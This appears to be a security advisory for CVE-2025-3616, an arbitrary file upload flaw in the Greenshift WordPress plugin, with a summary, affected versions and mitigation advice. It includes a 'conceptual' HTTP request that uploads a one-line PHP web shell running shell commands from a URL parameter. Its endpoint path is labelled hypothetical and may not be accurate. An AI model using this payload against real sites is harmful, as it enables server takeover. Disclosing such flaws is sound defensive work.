Overview
The Greenshift WordPress plugin, popular among WordPress users for its animation and page building capabilities, has been found to harbor a serious cybersecurity vulnerability. This vulnerability allows for arbitrary file uploads on a site’s server due to a lack of file type validation. It affects versions 11.4 to 11.4.5 of the plugin and has a Common Vulnerability Scoring System (CVSS) severity score of 8.8, making it a high-risk vulnerability. This vulnerability is particularly concerning as it only requires an attacker to have Subscriber-level access to upload potentially malicious files, leading to potential system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-3616
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Greenshift WordPress Plugin | 11.4 to 11.4.5
How the Exploit Works
The vulnerability lies in the gspb_make_proxy_api_request() function of the Greenshift plugin. Due to missing file type validation, an attacker with Subscriber-level access can upload arbitrary files to the server. The uploaded file could contain malicious code, which when executed, may compromise the system or leak sensitive data.
Conceptual Example Code
The code below is a hypothetical example of how an attacker might exploit this vulnerability by sending a POST request with a malicious file:
POST /wp-content/plugins/greenshift/upload_file.php HTTP/1.1
Host: victimwebsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a PHP file that can execute shell commands, potentially giving them control over the server.
Mitigation
Users are advised to update their Greenshift WordPress Plugin to version 11.4.6 or later, where the vulnerability has been patched. As a temporary measure, users may also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block attempts at exploiting the vulnerability.